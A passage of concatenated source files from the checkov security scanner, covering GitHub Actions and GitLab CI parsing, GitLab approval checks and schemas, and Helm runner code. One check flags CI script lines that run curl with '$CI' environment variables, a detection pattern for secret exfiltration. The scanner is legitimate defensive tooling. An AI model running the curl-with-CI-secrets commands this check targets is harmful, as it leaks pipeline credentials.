checkov.github_actions.graph_builder.graph_components.resource_types import ResourceType from checkov.github_actions.schemas import gha_schema, gha_workflow from checkov.runner_filter import RunnerFilter WORKFLOW_DIRECTORY = ".github/workflows/" WIN_WORKFLOW_DIRECTORY = ".github\\workflows\\" def get_scannable_file_paths(root_folder: str | Path) -> set[Path]: """Finds yaml files""" file_paths: set[Path] = set() if root_folder: root_path = root_folder if isinstance(root_folder, Path) else Path(root_folder) file_paths = {file_path for file_path in root_path.rglob("*.[y][am]*[l]") if file_path.is_file()} return file_paths def parse_file( f: str | Path, file_content: str | None = None ) -> tuple[dict[str, Any] | list[dict[str, Any]], list[tuple[int, str]]] | None: file_path = f if isinstance(f, Path) else Path(f) if is_workflow_file(file_path): if not file_content: file_content = read_file_with_any_encoding(file_path=file_path) entity_schema = parse(filename=str(f), file_content=file_content) if entity_schema and is_schema_valid(yaml.load(file_content, Loader=SafeLineLoaderGhaSchema)): # nosec return entity_schema return None def is_workflow_file(file_path: str | Path) -> bool: """ :return: True if the file mentioned is in a github action workflow directory and is a YAML file. Otherwise: False """ abspath = os.path.abspath(file_path) return get_workflow_dir() in abspath and abspath.endswith(("yml", "yaml")) def get_workflow_dir() -> str: """ Detects os and uses different dir string """ if platform.system() == "Windows": return WIN_WORKFLOW_DIRECTORY return WORKFLOW_DIRECTORY def is_schema_valid(config: dict[str, Any] | list[dict[str, Any]]) -> bool: config_dict = force_dict(config) try: validate(config_dict, gha_workflow) return True except ValidationError: try: validate(config_dict, gha_schema) return True except ValidationError: logging.info( "Given entity configuration does not match the schema\n" f"config={json.dumps(config_dict, indent=4)}\n" ) return False def get_gha_files_definitions(root_folder: str | Path, files: "list[str] | None" = None, runner_filter: RunnerFilter | None = None,) -> tuple[dict[str, Any], dict[str, Any]]: definitions = {} definitions_raw = {} file_paths = get_scannable_file_paths(root_folder=root_folder) files_set = set(files) if files else set() for file_path in file_paths: str_file_path = str(file_path) should_parse: bool = str_file_path in files_set if files_set else True if should_parse: result = parse_file(f=file_path) # result should be tuple of dict representing the file payload structure and list of lines of the payload if result is not None: definitions[str_file_path] = result[0] definitions_raw[str_file_path] = result[1] return definitions, definitions_raw def build_gha_definitions_context(definitions: dict[str, dict[str, Any]], definitions_raw: dict[str, list[Tuple[int, str]]]) -> dict[str, dict[str, Any]]: definitions_context: dict[str, dict[str, Any]] = {} resources = [e.value for e in ResourceType] # iterate on the files for file_path, file_path_definitions in definitions.items(): # iterate on the definitions (Parameters, Resources, Outputs...) for file_path_definition, definition in file_path_definitions.items(): if isinstance(file_path_definition, str) and file_path_definition in resources: # iterate on the actual objects of each definition if isinstance(definition, dict): for attribute, attr_value in definition.items(): if isinstance(attr_value, dict): start_line = attr_value['__startline__'] end_line = attr_value['__endline__'] elif isinstance(attr_value, str) and '__startline__' in definition and '__endline__' in definition: start_line = definition['__startline__'] end_line = definition['__endline__'] else: continue code_lines = definitions_raw[file_path][start_line - 1: end_line - 1] dpath.new( definitions_context, [file_path, str(file_path_definition), str(attribute)], {"start_line": start_line, "end_line": end_line, "code_lines": code_lines}, ) elif isinstance(definition, (str, list)): for line_tuple in definitions_raw[file_path]: if file_path_definition in line_tuple[1] and definition_locator_helper(definition, line_tuple[1]): code_lines = definitions_raw[file_path][line_tuple[0] - 1:line_tuple[0]] dpath.new( definitions_context, [file_path, str(file_path_definition), str(definition)], {"start_line": line_tuple[0], "end_line": line_tuple[0] + 1, "code_lines": code_lines}, ) break return definitions_context def definition_locator_helper(definition: str | list[str], target: str) -> bool: if isinstance(definition, str): return definition in target elif isinstance(definition, list): return all(item in target for item in definition) return False ================================================ FILE: checkov/gitlab/__init__.py ================================================ from checkov.gitlab.checks import * # noqa ================================================ FILE: checkov/gitlab/base_gitlab_configuration_check.py ================================================ from __future__ import annotations from typing import Iterable from checkov.common.checks.base_check import BaseCheck from checkov.common.models.enums import CheckCategories from checkov.gitlab.registry import registry class BaseGitlabCheck(BaseCheck): def __init__(self, name: str, id: str, categories: Iterable[CheckCategories], supported_entities: list[str], block_type: str, path: str | None = None, guideline: str | None = None) -> None: super().__init__( name=name, id=id, categories=categories, supported_entities=supported_entities, block_type=block_type, guideline=guideline, ) self.path = path registry.register(self) ================================================ FILE: checkov/gitlab/checks/__init__.py ================================================ from pathlib import Path modules = Path(__file__).parent.glob("*.py") __all__ = [f.stem for f in modules if f.is_file() and not f.stem == "__init__"] ================================================ FILE: checkov/gitlab/checks/merge_requests_approvals.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.gitlab.base_gitlab_configuration_check import BaseGitlabCheck from checkov.gitlab.schemas.project_approvals import schema as project_aprovals_schema from checkov.json_doc.enums import BlockType class MergeRequestRequiresApproval(BaseGitlabCheck): def __init__(self) -> None: name = "Merge requests should require at least 2 approvals" id = "CKV_GITLAB_1" categories = [CheckCategories.SUPPLY_CHAIN] super().__init__( name=name, id=id, categories=categories, supported_entities=["*"], block_type=BlockType.DOCUMENT ) def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> CheckResult | None: # type:ignore[override] if project_aprovals_schema.validate(conf): if conf.get("approvals_before_merge", 0) < 2: return CheckResult.FAILED return CheckResult.PASSED return None check = MergeRequestRequiresApproval() ================================================ FILE: checkov/gitlab/dal.py ================================================ from __future__ import annotations import os from typing import Any from checkov.common.runners.base_runner import strtobool from checkov.common.vcs.base_vcs_dal import BaseVCSDAL class Gitlab(BaseVCSDAL): def __init__(self) -> None: super().__init__() def setup_conf_dir(self) -> None: """ discover parameters from execution context of checkov and determine the directory to save temporal files of vcs configuration """ gitlab_conf_dir_name = os.getenv('CKV_GITLAB_CONF_DIR_NAME', 'gitlab_conf') self.gitlab_conf_dir_path = os.path.join(os.getcwd(), gitlab_conf_dir_name) self.gitlab_project_approvals_file_path = os.path.join(self.gitlab_conf_dir_path, "project_approvals.json") self.gitlab_groups_file_path = os.path.join(self.gitlab_conf_dir_path, "groups.json") def discover(self) -> None: """ discover parameters from execution context of checkov. usually from env variable """ server_host = os.getenv('CI_SERVER_URL', "https://gitlab.com") self.api_url = f'{server_host}/api/v4/' self.graphql_api_url = f"{server_host}/api/graphql" self.token = os.getenv('CI_JOB_TOKEN', '') self.current_repository = os.getenv('CI_MERGE_REQUEST_PROJECT_PATH', '') self.current_branch = os.getenv('CI_COMMIT_REF_NAME', '') self.group_name = os.getenv('CI_PROJECT_NAMESPACE', '') self.project_id = os.getenv('CI_PROJECT_ID', '') self.default_branch_cache = {} def _headers(self) -> dict[str, str]: return {"Authorization": "Bearer {}".format(self.token)} def get_project_approvals(self) -> dict[str, Any] | None: if self.project_id: project_approvals = self._request(endpoint=f"projects/{self.project_id}/approvals", allowed_status_codes=[200]) return project_approvals return None def persist_project_approvals(self) -> None: project_approvals = self.get_project_approvals() if project_approvals: BaseVCSDAL.persist(path=self.gitlab_project_approvals_file_path, conf=project_approvals) def get_groups(self) -> dict[str, Any] | None: groups = self._request(endpoint="groups", allowed_status_codes=[200]) return groups def persist_groups(self) -> None: groups = self.get_groups() if groups: BaseVCSDAL.persist(path=self.gitlab_groups_file_path, conf=groups) def persist_all_confs(self) -> None: if strtobool(os.getenv("CKV_GITLAB_CONFIG_FETCH_DATA", "True")): self.persist_project_approvals() self.persist_groups() ================================================ FILE: checkov/gitlab/registry.py ================================================ from checkov.common.bridgecrew.check_type import CheckType from checkov.json_doc.base_registry import Registry registry = Registry(CheckType.GITLAB_CONFIGURATION) ================================================ FILE: checkov/gitlab/runner.py ================================================ from __future__ import annotations from typing import TYPE_CHECKING from checkov.common.bridgecrew.check_type import CheckType from checkov.gitlab.dal import Gitlab from checkov.json_doc.runner import Runner as JsonRunner from checkov.runner_filter import RunnerFilter if TYPE_CHECKING: from checkov.common.checks.base_check_registry import BaseCheckRegistry from checkov.common.output.report import Report class Runner(JsonRunner): check_type = CheckType.GITLAB_CONFIGURATION # noqa: CCE003 # a static attribute def __init__(self) -> None: self.gitlab = Gitlab() super().__init__() def run( self, root_folder: str | None = None, external_checks_dir: list[str] | None = None, files: list[str] | None = None, runner_filter: RunnerFilter | None = None, collect_skip_comments: bool = True ) -> Report | list[Report]: runner_filter = runner_filter or RunnerFilter() if not runner_filter.show_progress_bar: self.pbar.turn_off_progress_bar() self.prepare_data() report = super().run( root_folder=self.gitlab.gitlab_conf_dir_path, external_checks_dir=external_checks_dir, files=None, # ignore file scans runner_filter=runner_filter, collect_skip_comments=collect_skip_comments, ) JsonRunner._change_files_path_to_relative(report) # type:ignore[arg-type] # report can only be of type Report, not a list return report def prepare_data(self) -> None: self.gitlab.persist_all_confs() def require_external_checks(self) -> bool: # default json runner require only external checks. Gitlab runner brings build in checks return False def import_registry(self) -> BaseCheckRegistry: from checkov.gitlab.registry import registry return registry ================================================ FILE: checkov/gitlab/schemas/__init__.py ================================================ ================================================ FILE: checkov/gitlab/schemas/groups.py ================================================ from checkov.common.vcs.vcs_schema import VCSSchema class GroupsSchema(VCSSchema): def __init__(self) -> None: schema = { "$schema": "http://json-schema.org/draft-04/schema#", "type": "array", "items": [ { "type": "object", "properties": { "id": { "type": "integer" }, "web_url": { "type": "string" }, "name": { "type": "string" }, "path": { "type": "string" }, "description": { "type": "string" }, "visibility": { "type": "string" }, "share_with_group_lock": { "type": "boolean" }, "require_two_factor_authentication": { "type": "boolean" }, "two_factor_grace_period": { "type": "integer" }, "project_creation_level": { "type": "string" }, "auto_devops_enabled": { "type": "null" }, "subgroup_creation_level": { "type": "string" }, "emails_disabled": { "oneOf": [ {"type": "boolean"}, {"type": "null"} ] }, "mentions_disabled": { "oneOf": [ {"type": "boolean"}, {"type": "null"} ] }, "lfs_enabled": { "oneOf": [ {"type": "boolean"}, {"type": "null"} ] }, "default_branch_protection": { "type": "integer" }, "avatar_url": { "oneOf": [ {"type": "string"}, {"type": "null"} ] }, "request_access_enabled": { "type": "boolean" }, "full_name": { "type": "string" }, "full_path": { "type": "string" }, "created_at": { "type": "string" }, "parent_id": { "type": "null" }, "ldap_cn": { "type": "null" }, "ldap_access": { "type": "null" } }, "required": [ "id", "web_url", "name", "path", "description", "visibility", "share_with_group_lock", "require_two_factor_authentication", "two_factor_grace_period", "project_creation_level", "auto_devops_enabled", "subgroup_creation_level", "emails_disabled", "mentions_disabled", "lfs_enabled", "default_branch_protection", "avatar_url", "request_access_enabled", "full_name", "full_path", "created_at", "parent_id", "ldap_cn", "ldap_access" ] } ] } super().__init__(schema=schema) schema = GroupsSchema() ================================================ FILE: checkov/gitlab/schemas/project_approvals.py ================================================ from checkov.common.vcs.vcs_schema import VCSSchema class ProjectApprovalsSchema(VCSSchema): def __init__(self) -> None: schema = { "$schema": "http://json-schema.org/draft-04/schema#", "type": "object", "properties": { "approvals_before_merge": { "type": "integer" }, "reset_approvals_on_push": { "type": "boolean" }, "disable_overriding_approvers_per_merge_request": { "type": "boolean" }, "merge_requests_author_approval": { "type": "boolean" }, "merge_requests_disable_committers_approval": { "type": "boolean" }, "require_password_to_approve": { "type": "boolean" } }, "required": [ "approvals_before_merge", "reset_approvals_on_push", "disable_overriding_approvers_per_merge_request", "merge_requests_author_approval", "merge_requests_disable_committers_approval", "require_password_to_approve" ] } super().__init__(schema=schema) schema = ProjectApprovalsSchema() ================================================ FILE: checkov/gitlab_ci/__init__.py ================================================ from checkov.gitlab_ci.checks import * # noqa ================================================ FILE: checkov/gitlab_ci/checks/__init__.py ================================================ from checkov.gitlab_ci.checks.job import * # noqa ================================================ FILE: checkov/gitlab_ci/checks/base_gitlab_ci_check.py ================================================ from __future__ import annotations from abc import abstractmethod from collections.abc import Iterable from typing import Any from checkov.common.checks.base_check import BaseCheck from checkov.common.models.enums import CheckCategories, CheckResult from checkov.gitlab_ci.checks.registry import registry class BaseGitlabCICheck(BaseCheck): def __init__( self, name: str, id: str, supported_entities: Iterable[str], block_type: str, path: str | None = None ) -> None: categories = (CheckCategories.SUPPLY_CHAIN,) super().__init__( name=name, id=id, categories=categories, supported_entities=supported_entities, block_type=block_type, ) self.path = path registry.register(self) def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]]: self.entity_type = entity_type return self.scan_conf(conf) @abstractmethod def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]: pass ================================================ FILE: checkov/gitlab_ci/checks/job/AvoidDoublePipelines.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult from checkov.gitlab_ci.checks.base_gitlab_ci_check import BaseGitlabCICheck from checkov.yaml_doc.enums import BlockType PIPELINE_SOURCES = ('$CI_PIPELINE_SOURCE == "merge_request_event"', '$CI_PIPELINE_SOURCE == "push"') class AvoidDoublePipelines(BaseGitlabCICheck): def __init__(self) -> None: name = "Avoid creating rules that generate double pipelines" id = "CKV_GITLABCI_2" super().__init__( name=name, id=id, block_type=BlockType.ARRAY, supported_entities=('*.rules',) ) def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]: c = 0 for rule in conf: if isinstance(rule, dict) and "if" in rule: value = rule['if'] if value.startswith(PIPELINE_SOURCES): c += 1 if c > 1: return CheckResult.FAILED, conf return CheckResult.PASSED, conf check = AvoidDoublePipelines() ================================================ FILE: checkov/gitlab_ci/checks/job/DetectImagesUsage.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult from checkov.gitlab_ci.checks.base_gitlab_ci_check import BaseGitlabCICheck from checkov.yaml_doc.enums import BlockType class DetectImageUsage(BaseGitlabCICheck): def __init__(self) -> None: name = "Detecting image usages in gitlab workflows" id = "CKV_GITLABCI_3" super().__init__( name=name, id=id, block_type=BlockType.ARRAY, supported_entities=('*.image[]', '*.services[]') ) def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]: return CheckResult.PASSED, conf check = DetectImageUsage() ================================================ FILE: checkov/gitlab_ci/checks/job/SuspectCurlInScript.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult from checkov.gitlab_ci.checks.base_gitlab_ci_check import BaseGitlabCICheck from checkov.yaml_doc.enums import BlockType class SuspectCurlInScript(BaseGitlabCICheck): def __init__(self) -> None: name = "Suspicious use of curl with CI environment variables in script" id = "CKV_GITLABCI_1" super().__init__( name=name, id=id, block_type=BlockType.ARRAY, supported_entities=('*.script[]',) ) def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]: for line in conf.values(): if not isinstance(line, str): continue if line.startswith("curl") and "$CI" in line: return CheckResult.FAILED, conf return CheckResult.PASSED, conf check = SuspectCurlInScript() ================================================ FILE: checkov/gitlab_ci/checks/job/__init__.py ================================================ from pathlib import Path modules = Path(__file__).parent.glob("*.py") __all__ = [f.stem for f in modules if f.is_file() and not f.stem == "__init__"] ================================================ FILE: checkov/gitlab_ci/checks/registry.py ================================================ from checkov.common.bridgecrew.check_type import CheckType from checkov.yaml_doc.base_registry import Registry registry = Registry(CheckType.GITLAB_CI) ================================================ FILE: checkov/gitlab_ci/common/__init__.py ================================================ ================================================ FILE: checkov/gitlab_ci/common/reserved.py ================================================ # flake8: noqa reserved = [ "default", "include", "stages", "variables", "workflow" ] ================================================ FILE: checkov/gitlab_ci/common/resource_id_utils.py ================================================ from __future__ import annotations from typing import Any from checkov.common.util.consts import START_LINE, END_LINE IMAGE_BLOCK_NAMES = ('image', 'services') SKIP_BLOCKS = ('include', 'stages', 'cache', 'variables') def generate_resource_key_recursive(conf: dict[str, Any] | list[str] | str, key: str, start_line: int, end_line: int) -> str: return _generate_resource_key_recursive(conf, key, start_line, end_line, set(), 0) def _generate_resource_key_recursive(conf: dict[str, Any] | list[str] | str, key: str, start_line: int, end_line: int, scanned_image_blocks: set[str], depth: int) -> str: if not isinstance(conf, dict): return key for k, value in conf.items(): if depth == 0 and k in SKIP_BLOCKS: continue if k in IMAGE_BLOCK_NAMES: scanned_image_blocks.add(k) if isinstance(value, dict) and value[START_LINE] <= start_line <= end_line <= value[END_LINE]: next_key = f'{key}.{k}' if key else k return _generate_resource_key_recursive(value, next_key, start_line, end_line, scanned_image_blocks, depth + 1) if isinstance(value, list): if value and isinstance(value[0], dict): next_key = f'{key}.{k}' if key else k for idx, entry in enumerate(value): if entry and isinstance(entry, dict) and entry[START_LINE] <= start_line <= end_line <= entry[END_LINE]: next_key += f'.{idx + 1}' break # There can be only one match in terms of line range return _generate_resource_key_recursive(value, next_key, start_line, end_line, scanned_image_blocks, depth + 1) if any(block_name in conf.keys() and block_name not in scanned_image_blocks and isinstance(conf[block_name], dict) and conf[block_name].get(START_LINE) <= start_line and conf[block_name].get(END_LINE) >= end_line for block_name in IMAGE_BLOCK_NAMES): # Avoid settling for a too general resource id, when there are blocks which usually contain image names, # and that these blocks were not scanned yet & match the line range. continue if depth == 0: # Indicates the first recursive call. a heuristic that top-level entities should usually be disregarded # in case they are not dictionaries. continue if isinstance(value, list): if key: return f'{key}.{k}' else: continue if isinstance(value, str): return key return key ================================================ FILE: checkov/gitlab_ci/runner.py ================================================ from __future__ import annotations from typing import TYPE_CHECKING, Any from checkov.common.bridgecrew.check_type import CheckType from checkov.common.output.report import Report from checkov.common.util.type_forcers import force_dict from checkov.gitlab_ci.checks.registry import registry from checkov.gitlab_ci.common.resource_id_utils import generate_resource_key_recursive from checkov.runner_filter import RunnerFilter from checkov.yaml_doc.runner import Runner as YamlRunner if TYPE_CHECKING: from checkov.common.checks.base_check_registry import BaseCheckRegistry from collections.abc import Iterable class Runner(YamlRunner): check_type = CheckType.GITLAB_CI # noqa: CCE003 # a static attribute def require_external_checks(self) -> bool: return False def import_registry(self) -> BaseCheckRegistry: return registry @staticmethod def _parse_file( f: str, file_content: str | None = None ) -> tuple[dict[str, Any] | list[dict[str, Any]], list[tuple[int, str]]] | None: if Runner.is_workflow_file(f): return YamlRunner._parse_file(f=f, file_content=file_content) return None @staticmethod def is_workflow_file(file_path: str) -> bool: """ :return: True if the file mentioned is in the gitlab workflow name .gitlab-ci.yml. Otherwise: False """ return file_path.endswith((".gitlab-ci.yml", ".gitlab-ci.yaml")) def included_paths(self) -> Iterable[str]: return (".gitlab-ci.yml", ".gitlab-ci.yaml") def get_resource(self, file_path: str, key: str, supported_entities: Iterable[str], start_line: int = -1, end_line: int = -1, graph_resource: bool = False) -> str: file_config = force_dict(self.definitions[file_path]) if not file_config: return key resource_id: str = generate_resource_key_recursive(conf=file_config, key='', start_line=start_line, end_line=end_line) return resource_id def run( self, root_folder: str | None = None, external_checks_dir: list[str] | None = None, files: list[str] | None = None, runner_filter: RunnerFilter | None = None, collect_skip_comments: bool = True, ) -> Report | list[Report]: runner_filter = runner_filter or RunnerFilter() report = super().run(root_folder=root_folder, external_checks_dir=external_checks_dir, files=files, runner_filter=runner_filter, collect_skip_comments=collect_skip_comments) return report ================================================ FILE: checkov/helm/__init__.py ================================================ ================================================ FILE: checkov/helm/base_registry.py ================================================ from __future__ import annotations from typing import Any, TYPE_CHECKING from checkov.common.bridgecrew.check_type import CheckType from checkov.common.checks.base_check_registry import BaseCheckRegistry from checkov.runner_filter import RunnerFilter if TYPE_CHECKING: from checkov.common.checks.base_check import BaseCheck from checkov.common.typing import _SkippedCheck, _CheckResult class Registry(BaseCheckRegistry): def __init__(self) -> None: super().__init__(CheckType.HELM) def extract_entity_details(self, entity: dict[str, Any]) -> tuple[str, dict[str, Any]]: # type:ignore[override] kind = entity["kind"] conf = entity return kind, conf def scan( self, scanned_file: str, entity: dict[str, Any], skipped_checks: list[_SkippedCheck], runner_filter: RunnerFilter, report_type: str | None = None, ) -> dict[BaseCheck, _CheckResult]: (entity_type, entity_configuration) = self.extract_entity_details(entity) results = {} checks = self.get_checks(entity_type) for check in checks: skip_info: "_SkippedCheck" = {} if skipped_checks: if check.id in [x['id'] for x in skipped_checks]: skip_info = [x for x in skipped_checks if x['id'] == check.id][0] if self._should_run_scan(check.id, entity_configuration, runner_filter): self.logger.debug("Running check: {} on file {}".format(check.name, scanned_file)) result = check.run(scanned_file=scanned_file, entity_configuration=entity_configuration, entity_name=entity_type, entity_type=entity_type, skip_info=skip_info) results[check] = result return results @staticmethod def _should_run_scan(check_id: str, entity_configuration: dict[str, Any], runner_filter: RunnerFilter) -> bool: check_id_allowlist = runner_filter.checks check_id_denylist = runner_filter.skip_checks if check_id_allowlist: # Allow list provides namespace-only allows, check-only allows, or both # If namespaces not specified, all namespaces are scanned # If checks not specified, all checks are scanned run_check = False allowed_namespaces = [string for string in check_id_allowlist if "CKV_" not in string] if not any("CKV_" in check for check in check_id_allowlist): if "metadata" in entity_configuration and "namespace" in entity_configuration["metadata"]: if entity_configuration["metadata"]["namespace"] in allowed_namespaces: run_check = True elif "parent_metadata" in entity_configuration and "namespace" in entity_configuration["parent_metadata"]: if entity_configuration["parent_metadata"]["namespace"] in allowed_namespaces: run_check = True else: if "default" in allowed_namespaces: run_check = True else: if check_id in check_id_allowlist or RunnerFilter.is_external_check(check_id): if allowed_namespaces: # Check if namespace in allowed namespaces if "metadata" in entity_configuration and "namespace" in entity_configuration["metadata"]: if entity_configuration["metadata"]["namespace"] in allowed_namespaces: run_check = True elif "parent_metadata" in entity_configuration and "namespace" in entity_configuration["parent_metadata"]: if entity_configuration["parent_metadata"]["namespace"] in allowed_namespaces: run_check = True else: if "default" in allowed_namespaces: run_check = True else: # No namespaces to filter run_check = True if run_check: return True elif check_id_denylist: namespace_skip = False if "metadata" in entity_configuration and "namespace" in entity_configuration["metadata"]: if entity_configuration["metadata"]["namespace"] in check_id_denylist: namespace_skip = True elif "parent_metadata" in entity_configuration and "namespace" in entity_configuration["parent_metadata"]: if entity_configuration["parent_metadata"]["namespace"] in check_id_denylist: namespace_skip = True else: if "default" in check_id_denylist: namespace_skip = True if check_id not in check_id_denylist and namespace_skip is False: return True else: return True return False ================================================ FILE: checkov/helm/image_referencer/__init__.py ================================================ ================================================ FILE: checkov/helm/image_referencer/base_provider.py ================================================ from __future__ import annotations from typing import Any, Mapping from checkov.common.graph.graph_builder import CustomAttributes from checkov.common.typing import LibraryGraph from checkov.kubernetes.image_referencer.base_provider import BaseKubernetesProvider from checkov.common.images.graph.image_referencer_provider import _ExtractImagesCallableAlias class BaseHelmProvider(BaseKubernetesProvider): def __init__(self, graph_connector: LibraryGraph, supported_resource_types: dict[str, _ExtractImagesCallableAlias] | Mapping[str, _ExtractImagesCallableAlias], original_root_dir: str, temp_root_dir: str) -> None: super().__init__( graph_connector=graph_connector, supported_resource_types=supported_resource_types, ) self.original_root_dir = original_root_dir self.temp_root_dir = temp_root_dir def _get_resource_path(self, resource: dict[str, Any]) -> str: k8s_path = resource.get(CustomAttributes.FILE_PATH, "") return str(k8s_path.replace(self.temp_root_dir, self.original_root_dir, 1)) ================================================ FILE: checkov/helm/image_referencer/manager.py ================================================ from __future__ import annotations from typing import TYPE_CHECKING from checkov.common.images.graph.image_referencer_manager import GraphImageReferencerManager from checkov.common.typing import LibraryGraph from checkov.helm.image_referencer.provider.helm import HelmProvider if TYPE_CHECKING: from checkov.common.images.image_referencer import Image class HelmImageReferencerManager(GraphImageReferencerManager): def __init__(self, graph_connector: LibraryGraph, original_root_dir: str, temp_root_dir: str): super().__init__(graph_connector) self.original_root_dir = original_root_dir self.temp_root_dir = temp_root_dir def extract_images_from_resources(self) -> list[Image]: helm_provider = HelmProvider(graph_connector=self.graph_connector, original_root_dir=self.original_root_dir, temp_root_dir=self.temp_root_dir) images = helm_provider.extract_images_from_resources() return images ================================================ FILE: checkov/helm/image_referencer/provider/__init__.py ================================================ ================================================ FILE: checkov/helm/image_referencer/provider/helm.py ================================================ from __future__ import annotations from checkov.common.typing import LibraryGraph from checkov.helm.image_referencer.base_provider import BaseHelmProvider from checkov.kubernetes.image_referencer.provider.k8s import SUPPORTED_K8S_IMAGE_RESOURCE_TYPES class HelmProvider(BaseHelmProvider): def __init__(self, graph_connector: LibraryGraph, original_root_dir: str, temp_root_dir: str): super().__init__( graph_connector=graph_connector, supported_resource_types=SUPPORTED_K8S_IMAGE_RESOURCE_TYPES, original_root_dir=original_root_dir, temp_root_dir=temp_root_dir ) ================================================ FILE: checkov/helm/registry.py ================================================ from checkov.helm.base_registry import Registry registry = Registry() ================================================ FILE: checkov/helm/runner.py ================================================ from __future__ import annotations import io import itertools import logging import os import shutil import subprocess # nosec import tempfile import threading from typing import Any, Type, TYPE_CHECKING import yaml from checkov.common.bridgecrew.check_type import CheckType from checkov.common.graph.checks_infra.registry import BaseRegistry from checkov.common.typing import LibraryGraphConnector from checkov.common.graph.graph_builder.consts import GraphSource from checkov.common.images.image_referencer import fix_related_resource_ids, Image from checkov.common.output.report import Report from checkov.common.parallelizer.parallel_runner import parallel_runner from checkov.common.runners.base_runner import BaseRunner, filter_ignored_paths from checkov.helm.image_referencer.manager import HelmImageReferencerManager from checkov.helm.registry import registry from checkov.kubernetes.graph_builder.local_graph import KubernetesLocalGraph from checkov.kubernetes.runner import Runner as k8_runner, handle_timeout, _KubernetesContext, _KubernetesDefinitions from checkov.runner_filter import RunnerFilter import signal if TYPE_CHECKING: from checkov.kubernetes.graph_manager import KubernetesGraphManager from networkx import DiGraph class K8sHelmRunner(k8_runner): check_type = CheckType.HELM # noqa: CCE003 # a static attribute def __init__( self, graph_class: Type[KubernetesLocalGraph] = KubernetesLocalGraph, db_connector: LibraryGraphConnector | None = None, source: str = GraphSource.KUBERNETES, graph_manager: KubernetesGraphManager | None = None, external_registries: list[BaseRegistry] | None = None ) -> None: super().__init__(graph_class, db_connector, source, graph_manager, external_registries) self.chart_dir_and_meta: list[tuple[str, dict[str, Any]]] = [] self.pbar.turn_off_progress_bar() self.original_root_dir = '' self.tmp_root_dir = '' self.template_mapping: dict[str, str] = {} def run( self, root_folder: str | None, external_checks_dir: list[str] | None = None, files: list[str] | None = None, runner_filter: RunnerFilter | None = None, collect_skip_comments: bool = True ) -> Report | list[Report]: runner_filter = runner_filter or RunnerFilter() report = Report(self.check_type) if not self.chart_dir_and_meta: return report if external_checks_dir: for directory in external_checks_dir: registry.load_external_checks(directory) try: chart_results = super().run(root_folder, external_checks_dir=external_checks_dir, runner_filter=runner_filter) if isinstance(chart_results, list): helm_report = next( chart_result for chart_result in chart_results if chart_result.check_type == self.check_type ) sca_image_report = next( chart_result for chart_result in chart_results if chart_result.check_type == CheckType.SCA_IMAGE ) else: helm_report = chart_results sca_image_report = None if root_folder is not None: fix_report_paths(report=helm_report, tmp_dir=root_folder, template_mapping=self.template_mapping, original_root_folder=self.original_root_dir) if self.original_root_dir: fix_related_resource_ids(report=sca_image_report, tmp_dir=self.original_root_dir) else: fix_related_resource_ids(report=sca_image_report, tmp_dir=root_folder) return chart_results except Exception: logging.warning(f"Failed to run Kubernetes runner on charts {self.chart_dir_and_meta}", exc_info=True) # with tempfile.TemporaryDirectory() as save_error_dir: # TODO this will crash the run when target_dir gets cleaned up, since it no longer exists # we either need to copy or find another way to extract whatever we want to get from this (the TODO below) # logging.debug( # f"Error running k8s scan on {chart_meta['name']}. Scan dir: {target_dir}. Saved context dir: {save_error_dir}") # shutil.move(target_dir, save_error_dir) # TODO: Export helm dependencies for the chart we've extracted in chart_dependencies return report def get_image_report(self, root_folder: str | None, runner_filter: RunnerFilter) -> Report | None: if not self.graph_manager: return None return self.check_container_image_references( graph_connector=self.graph_manager.get_reader_endpoint(), root_path=self.original_root_dir, runner_filter=runner_filter, ) def extract_images( self, graph_connector: DiGraph | None = None, definitions: None = None, definitions_raw: dict[str, list[tuple[int, str]]] | None = None ) -> list[Image]: if not graph_connector: # should not happen return [] manager = HelmImageReferencerManager(graph_connector=graph_connector, original_root_dir=self.original_root_dir, temp_root_dir=self.tmp_root_dir) images = manager.extract_images_from_resources() return images class Runner(BaseRunner[_KubernetesDefinitions, _KubernetesContext, "KubernetesGraphManager"]): check_type: str = CheckType.HELM # noqa: CCE003 # a static attribute helm_command = 'helm' # noqa: CCE003 # a static attribute system_deps = True # noqa: CCE003 # a static attribute def __init__(self) -> None: super().__init__() self.file_names = ['Chart.yaml'] self.target_folder_path = '' self.root_folder = '' self.runner_filter: "RunnerFilter | None" = None self.template_mapping: dict[str, str] = {} def get_k8s_target_folder_path(self) -> str: return self.target_folder_path @staticmethod def parse_helm_chart_details(chart_path: str) -> tuple[str, dict[str, Any] | None]: with open(f"{chart_path}/Chart.yaml", 'r') as chartyaml: try: chart_meta: dict[str, Any] = yaml.safe_load(chartyaml) except (yaml.YAMLError, UnicodeDecodeError): logging.info(f"Failed to load chart metadata from {chart_path}/Chart.yaml.", exc_info=True) return chart_path, None return chart_path, chart_meta def check_system_deps(self) -> str | None: # Ensure local system dependencies are available and of the correct version. # Returns framework names to skip if deps fail. logging.info(f"Checking necessary system dependencies for {self.check_type} checks.") try: proc = subprocess.Popen([self.helm_command, 'version'], stdout=subprocess.PIPE, stderr=subprocess.PIPE) # nosec o, e = proc.communicate() oString = str(o, 'utf-8') if "Version:" in oString: helmVersionOutput = oString[oString.find(':') + 2: oString.find(',') - 1] if "v3" in helmVersionOutput: logging.info(f"Found working version of {self.check_type} dependencies: {helmVersionOutput}") return None else: return self.check_type except Exception: logging.info(f"Error running necessary tools to process {self.check_type} checks.") return self.check_type @staticmethod def _parse_output(target_dir: str, output: bytes, chart_dir: str, template_mapping: dict[str, str]) -> None: output_str = str(output, 'utf-8') reader = io.StringIO(output_str) cur_source_file = None cur_writer = None last_line_dashes = False line_num = 1 for s in reader: s = s.rstrip() if s == '---': last_line_dashes = True continue if last_line_dashes: # The next line should contain a "Source" comment saying the name of the file it came from # So we will close the old file, open a new file, and write the dashes from last iteration plus this line if not s.startswith('# Source: '): raise Exception(f'Line {line_num}: Expected line to start with # Source: {s}') source = s[10:] if source != cur_source_file: if cur_writer: 